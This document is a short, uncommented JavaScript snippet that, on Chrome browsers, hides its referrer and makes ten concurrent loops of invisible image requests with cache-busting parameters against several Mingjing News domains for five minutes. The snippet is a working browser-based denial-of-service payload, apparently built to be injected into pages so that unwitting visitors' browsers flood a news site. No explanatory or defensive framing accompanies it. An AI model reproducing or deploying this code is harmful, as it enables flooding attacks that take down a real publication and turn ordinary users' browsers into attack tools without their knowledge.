if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) { var MAX_TIME = 300000; var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/']; var MAX_COUNT = 100000000; var TIMEGAP = 500; var THREAD = 10; var START_CLOCK = 1; function unixtime() { var dt = new Date(); return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000 } document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML; var p_img_list = []; var timer_list = []; var starttime = null; var requesttime_list = []; var responsetime_list = []; var url = ''; var count = 0; function imgdel(index) { var p_img_tmp = p_img_list[index]; if (p_img_tmp != null) { document.body.removeChild(p_img_tmp) } p_img_list[index] = null; if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) { setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index])) } } function isImgComplete(index) { if (p_img_list[index] == null) { return } if (p_img_list[index].complete) { window.clearInterval(timer_list[index]); responsetime_list[index] = new Date().getTime(); imgdel(index) } else { if (new Date().getTime() - requesttime_list[index] > TIMEGAP) { window.clearInterval(timer_list[index]); imgdel(index) } } } function imgadd(index) { p_img_tmp = document.body.appendChild(document.createElement('img')); url = url_list[unixtime() % url_list.length]; p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100); p_img_tmp.style.display = 'none'; p_img_list[index] = p_img_tmp; requesttime_list[index] = responsetime_list[index] = new Date().getTime(); timer_list[index] = setInterval("isImgComplete(" + index + ")", 50); count = count + 1 } function start() { starttime = new Date().getTime(); for (var ti = 0; ti < THREAD; ti += 1) { p_img_list[ti] = null; timer_list[ti] = null; requesttime_list[ti] = null; responsetime_list[ti] = null; imgadd(ti) } } var now = new Date(); setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000) }